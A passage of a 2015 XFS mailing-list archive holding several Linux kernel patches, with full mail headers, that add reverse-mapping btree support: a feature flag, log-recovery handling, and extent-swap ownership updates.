struct xfs_bmbt_irec *LEFT, struct xfs_bmbt_irec *PREV); +int xfs_rmap_rcombine(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, + struct xfs_bmbt_irec *RIGHT, struct xfs_bmbt_irec *PREV, + struct xfs_bmbt_irec *new); +int xfs_rmap_insert(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, + struct xfs_bmbt_irec *new); +int xfs_rmap_delete(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, + struct xfs_bmbt_irec *new); +int xfs_rmap_move(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, + struct xfs_bmbt_irec *PREV, long start_adj); +int xfs_rmap_slide(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, + struct xfs_bmbt_irec *PREV, long start_adj); +int xfs_rmap_resize(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, + struct xfs_bmbt_irec *PREV, long size_adj); + #endif /* __XFS_RMAP_BTREE_H__ */ From darrick.wong@oracle.com Tue Oct 6 23:58:03 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D282F29DFC for ; Tue, 6 Oct 2015 23:58:03 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B4FA38F8037 for ; Tue, 6 Oct 2015 21:58:03 -0700 (PDT) X-ASG-Debug-ID: 1444193882-04cbb03f150d580001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id UxGeKHv09EYGjB6V (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:58:02 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974w1gZ011917 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:58:01 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974w1OO006359 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:58:01 GMT Received: from abhmp0019.oracle.com (abhmp0019.oracle.com [141.146.116.25]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974w1pr021332; Wed, 7 Oct 2015 04:58:01 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:58:00 -0700 Subject: [PATCH 26/58] xfs: add rmap btree geometry feature flag From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 26/58] xfs: add rmap btree geometry feature flag To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 21:57:59 -0700 Message-ID: <20151007045759.30457.55415.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193882 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner So xfs_info and other userspace utilities know the filesystem is using this feature. Signed-off-by: Dave Chinner --- fs/xfs/libxfs/xfs_fs.h | 1 + fs/xfs/xfs_fsops.c | 4 +++- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/fs/xfs/libxfs/xfs_fs.h b/fs/xfs/libxfs/xfs_fs.h index 89689c6..9fbdb86 100644 --- a/fs/xfs/libxfs/xfs_fs.h +++ b/fs/xfs/libxfs/xfs_fs.h @@ -240,6 +240,7 @@ typedef struct xfs_fsop_resblks { #define XFS_FSOP_GEOM_FLAGS_FTYPE 0x10000 /* inode directory types */ #define XFS_FSOP_GEOM_FLAGS_FINOBT 0x20000 /* free inode btree */ #define XFS_FSOP_GEOM_FLAGS_SPINODES 0x40000 /* sparse inode chunks */ +#define XFS_FSOP_GEOM_FLAGS_RMAPBT 0x80000 /* Reverse mapping btree */ /* * Minimum and maximum sizes need for growth checks. diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index 031dd92..64bb02b 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -104,7 +104,9 @@ xfs_fs_geometry( (xfs_sb_version_hasfinobt(&mp->m_sb) ? XFS_FSOP_GEOM_FLAGS_FINOBT : 0) | (xfs_sb_version_hassparseinodes(&mp->m_sb) ? - XFS_FSOP_GEOM_FLAGS_SPINODES : 0); + XFS_FSOP_GEOM_FLAGS_SPINODES : 0) | + (xfs_sb_version_hasrmapbt(&mp->m_sb) ? + XFS_FSOP_GEOM_FLAGS_RMAPBT : 0); geo->logsectsize = xfs_sb_version_hassector(&mp->m_sb) ? mp->m_sb.sb_logsectsize : BBSIZE; geo->rtsectsize = mp->m_sb.sb_blocksize; From darrick.wong@oracle.com Tue Oct 6 23:58:11 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 404697F61 for ; Tue, 6 Oct 2015 23:58:11 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B6E6EAC005 for ; Tue, 6 Oct 2015 21:58:10 -0700 (PDT) X-ASG-Debug-ID: 1444193889-04cb6c57850d4d0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id RvmoGwUnfkIlo8rU (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:58:09 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974w8wp007074 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:58:08 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t974w76F028827 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:58:08 GMT Received: from abhmp0001.oracle.com (abhmp0001.oracle.com [141.146.116.7]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974w7ic006209; Wed, 7 Oct 2015 04:58:07 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:58:07 -0700 Subject: [PATCH 27/58] xfs: add rmap btree block detection to log recovery From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 27/58] xfs: add rmap btree block detection to log recovery To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 21:58:06 -0700 Message-ID: <20151007045806.30457.55648.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444193889 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner So such blocks can be correctly identified and have their operations structutes attached to validate recovery has not resulted in a correct block. Signed-off-by: Dave Chinner --- fs/xfs/xfs_log_recover.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 129b9a1..0f5fb8f 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -1847,6 +1847,7 @@ xlog_recover_get_buf_lsn( case XFS_ABTC_CRC_MAGIC: case XFS_ABTB_MAGIC: case XFS_ABTC_MAGIC: + case XFS_RMAP_CRC_MAGIC: case XFS_IBT_CRC_MAGIC: case XFS_IBT_MAGIC: { struct xfs_btree_block *btb = blk; @@ -2015,6 +2016,9 @@ xlog_recover_validate_buf_type( case XFS_BMAP_MAGIC: bp->b_ops = &xfs_bmbt_buf_ops; break; + case XFS_RMAP_CRC_MAGIC: + bp->b_ops = &xfs_rmapbt_buf_ops; + break; default: xfs_warn(mp, "Bad btree block magic!"); ASSERT(0); From darrick.wong@oracle.com Tue Oct 6 23:58:18 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2DAB37FAA for ; Tue, 6 Oct 2015 23:58:18 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C1780AC006 for ; Tue, 6 Oct 2015 21:58:17 -0700 (PDT) X-ASG-Debug-ID: 1444193896-04bdf020dc0e4b0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id A1GOtZSmbgtVAB2I (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:58:16 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974wFDq012318 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:58:15 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t974wEg1025165 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:58:14 GMT Received: from abhmp0003.oracle.com (abhmp0003.oracle.com [141.146.116.9]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974wE7T021452; Wed, 7 Oct 2015 04:58:14 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:58:13 -0700 Subject: [PATCH 28/58] xfs: enable the rmap btree functionality From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 28/58] xfs: enable the rmap btree functionality To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 21:58:12 -0700 Message-ID: <20151007045812.30457.69230.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193896 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner Add the feature flag to the supported matrix so that the kernel can mount and use rmap btree enabled filesystems Signed-off-by: Dave Chinner --- fs/xfs/libxfs/xfs_format.h | 3 ++- fs/xfs/libxfs/xfs_sb.c | 5 +++++ 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h index f0cf383..c4a73e9 100644 --- a/fs/xfs/libxfs/xfs_format.h +++ b/fs/xfs/libxfs/xfs_format.h @@ -449,7 +449,8 @@ xfs_sb_has_compat_feature( #define XFS_SB_FEAT_RO_COMPAT_FINOBT (1 << 0) /* free inode btree */ #define XFS_SB_FEAT_RO_COMPAT_RMAPBT (1 << 1) /* reverse map btree */ #define XFS_SB_FEAT_RO_COMPAT_ALL \ - (XFS_SB_FEAT_RO_COMPAT_FINOBT) + (XFS_SB_FEAT_RO_COMPAT_FINOBT | \ + XFS_SB_FEAT_RO_COMPAT_RMAPBT) #define XFS_SB_FEAT_RO_COMPAT_UNKNOWN ~XFS_SB_FEAT_RO_COMPAT_ALL static inline bool xfs_sb_has_ro_compat_feature( diff --git a/fs/xfs/libxfs/xfs_sb.c b/fs/xfs/libxfs/xfs_sb.c index 0103a75..8b437f5 100644 --- a/fs/xfs/libxfs/xfs_sb.c +++ b/fs/xfs/libxfs/xfs_sb.c @@ -213,6 +213,11 @@ xfs_mount_validate_sb( return -EINVAL; } + if (xfs_sb_version_hasrmapbt(sbp)) { + xfs_alert(mp, +"EXPERIMENTAL reverse mapping btree feature enabled. Use at your own risk!"); + } + /* * More sanity checking. Most of these were stolen directly from * xfs_repair. From darrick.wong@oracle.com Tue Oct 6 23:58:24 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 551E229E09 for ; Tue, 6 Oct 2015 23:58:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B8C0AAC006 for ; Tue, 6 Oct 2015 21:58:23 -0700 (PDT) X-ASG-Debug-ID: 1444193901-04cb6c57860d4f0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 04WIN8UyhCGTZNVL (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:58:22 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974wLK1012445 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:58:21 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t974wKKj029227 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:58:20 GMT Received: from abhmp0014.oracle.com (abhmp0014.oracle.com [141.146.116.20]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974wKMn003318; Wed, 7 Oct 2015 04:58:20 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:58:20 -0700 Subject: [PATCH 29/58] xfs: disable XFS_IOC_SWAPEXT when rmap btree is enabled From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 29/58] xfs: disable XFS_IOC_SWAPEXT when rmap btree is enabled To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 21:58:19 -0700 Message-ID: <20151007045819.30457.61857.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193902 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner Swapping extents between two inodes requires the owner to be updated in the rmap tree for all the extents that are swapped. This code does not yet exist, so switch off the XFS_IOC_SWAPEXT ioctl until support has been implemented. This will nee dto be done before the rmap btree code can have the experimental tag removed. Signed-off-by: Dave Chinner --- fs/xfs/xfs_bmap_util.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index 8b2e505..f41a6f7 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -1685,6 +1685,19 @@ xfs_swap_extents( __uint64_t tmp; int lock_flags; + /* + * We can't swap extents on rmap btree enabled filesystems yet + * as there is no mechanism to update the owner of extents in + * the rmap tree yet. Hence, for the moment, just reject attempts + * to swap extents with EINVAL after emitting a warning once to remind + * us this needs fixing. + */ + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) { + WARN_ONCE(1, + "XFS: XFS_IOC_SWAPEXT not supported on RMAP enabled filesystems\n"); + return -EINVAL; + } + tempifp = kmem_alloc(sizeof(xfs_ifork_t), KM_MAYFAIL); if (!tempifp) { error = -ENOMEM; From darrick.wong@oracle.com Tue Oct 6 23:58:30 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A722E29E0F for ; Tue, 6 Oct 2015 23:58:30 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 27D68AC006 for ; Tue, 6 Oct 2015 21:58:30 -0700 (PDT) X-ASG-Debug-ID: 1444193907-04cbb03f150d5b0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id keIqm19ZQrdfADD3 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:58:28 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974wRXV007384 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:58:27 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974wR4r001726 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:58:27 GMT Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974wRkj003435; Wed, 7 Oct 2015 04:58:27 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:58:26 -0700 Subject: [PATCH 30/58] xfs: implement XFS_IOC_SWAPEXT when rmap btree is enabled From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 30/58] xfs: implement XFS_IOC_SWAPEXT when rmap btree is enabled To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:58:25 -0700 Message-ID: <20151007045825.30457.37098.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444193908 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Implement extent swapping when reverse-mapping is enabled. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_btree.c | 17 ++++++ fs/xfs/libxfs/xfs_rmap.c | 112 ++++++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_rmap_btree.h | 8 +++ fs/xfs/xfs_bmap_util.c | 38 +++++++++----- 4 files changed, 161 insertions(+), 14 deletions(-) diff --git a/fs/xfs/libxfs/xfs_btree.c b/fs/xfs/libxfs/xfs_btree.c index 13971c6..2d7dc8c 100644 --- a/fs/xfs/libxfs/xfs_btree.c +++ b/fs/xfs/libxfs/xfs_btree.c @@ -32,6 +32,7 @@ #include "xfs_trace.h" #include "xfs_cksum.h" #include "xfs_alloc.h" +#include "xfs_rmap_btree.h" /* * Cursor allocation zone. @@ -3988,6 +3989,8 @@ xfs_btree_block_change_owner( struct xfs_btree_block *block; struct xfs_buf *bp; union xfs_btree_ptr rptr; + struct xfs_owner_info old_oinfo, new_oinfo; + int error; /* do right sibling readahead */ xfs_btree_readahead(cur, level, XFS_BTCUR_RIGHTRA); @@ -3999,6 +4002,20 @@ xfs_btree_block_change_owner( else block->bb_u.s.bb_owner = cpu_to_be32(new_owner); + /* change rmap owners (bmbt blocks only) */ + if (cur->bc_flags & XFS_BTREE_LONG_PTRS) { + XFS_RMAP_INO_BMBT_OWNER(&old_oinfo, + cur->bc_private.b.ip->i_ino, + cur->bc_private.b.whichfork); + XFS_RMAP_INO_BMBT_OWNER(&new_oinfo, + new_owner, + cur->bc_private.b.whichfork); + error = xfs_rmap_change_bmbt_owner(cur, bp, &old_oinfo, + &new_oinfo); + if (error) + return error; + } + /* * If the block is a root block hosted in an inode, we might not have a * buffer pointer here and we shouldn't attempt to log the change as the diff --git a/fs/xfs/libxfs/xfs_rmap.c b/fs/xfs/libxfs/xfs_rmap.c index d821b1a..b2781f5 100644 --- a/fs/xfs/libxfs/xfs_rmap.c +++ b/fs/xfs/libxfs/xfs_rmap.c @@ -35,6 +35,8 @@ #include "xfs_trace.h" #include "xfs_error.h" #include "xfs_extent_busy.h" +#include "xfs_bmap.h" +#include "xfs_bmap_btree.h" /* * Lookup the first record less than or equal to [bno, len, owner, offset] @@ -859,3 +861,113 @@ xfs_rmap_resize( done: return error; } + +/** + * Change ownership of a file's BMBT block reverse-mappings. + */ +int +xfs_rmap_change_bmbt_owner( + struct xfs_btree_cur *bcur, + struct xfs_buf *bp, + struct xfs_owner_info *old_owner, + struct xfs_owner_info *new_owner) +{ + struct xfs_buf *agfbp; + xfs_fsblock_t fsbno; + xfs_agnumber_t agno; + xfs_agblock_t agbno; + int error; + + if (!xfs_sb_version_hasrmapbt(&bcur->bc_mp->m_sb) || !bp) + return 0; + + fsbno = XFS_DADDR_TO_FSB(bcur->bc_mp, XFS_BUF_ADDR(bp)); + agno = XFS_FSB_TO_AGNO(bcur->bc_mp, fsbno); + agbno = XFS_FSB_TO_AGBNO(bcur->bc_mp, fsbno); + + error = xfs_read_agf(bcur->bc_mp, bcur->bc_tp, agno, 0, &agfbp); + + error = xfs_rmap_free(bcur->bc_tp, agfbp, agno, agbno, 1, old_owner); + if (error) + goto err; + + error = xfs_rmap_alloc(bcur->bc_tp, agfbp, agno, agbno, 1, new_owner); + if (error) + goto err; + +err: + xfs_trans_brelse(bcur->bc_tp, agfbp); + return error; +} + +/** + * Change the ownership on a file's extent's reverse-mappings. + */ +int +xfs_rmap_change_extent_owner( + struct xfs_mount *mp, + struct xfs_inode *ip, + xfs_ino_t ino, + xfs_fileoff_t isize, + struct xfs_trans *tp, + int whichfork, + xfs_ino_t new_owner) +{ + struct xfs_bmbt_irec imap; + struct xfs_btree_cur *cur = NULL; + struct xfs_buf *agfbp = NULL; + int nimaps; + xfs_fileoff_t offset; + xfs_filblks_t len; + xfs_agnumber_t agno; + int flags = 0; + int error; + + if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) + return 0; + + if (whichfork == XFS_ATTR_FORK) + flags |= XFS_BMAPI_ATTRFORK; + + offset = 0; + len = XFS_B_TO_FSB(mp, isize); + nimaps = 1; + error = xfs_bmapi_read(ip, offset, len, &imap, &nimaps, flags); + while (error == 0 && nimaps > 0) { + if (imap.br_startblock == HOLESTARTBLOCK || + imap.br_startblock == DELAYSTARTBLOCK) + goto advloop; + + agno = XFS_FSB_TO_AGNO(mp, imap.br_startblock); + + error = xfs_read_agf(mp, tp, agno, 0, &agfbp); + if (error) + break; + + cur = xfs_rmapbt_init_cursor(mp, tp, agfbp, agno); + + error = xfs_rmap_delete(cur, ino, whichfork, &imap); + if (error) + break; + error = xfs_rmap_insert(cur, new_owner, whichfork, &imap); + if (error) + break; + + 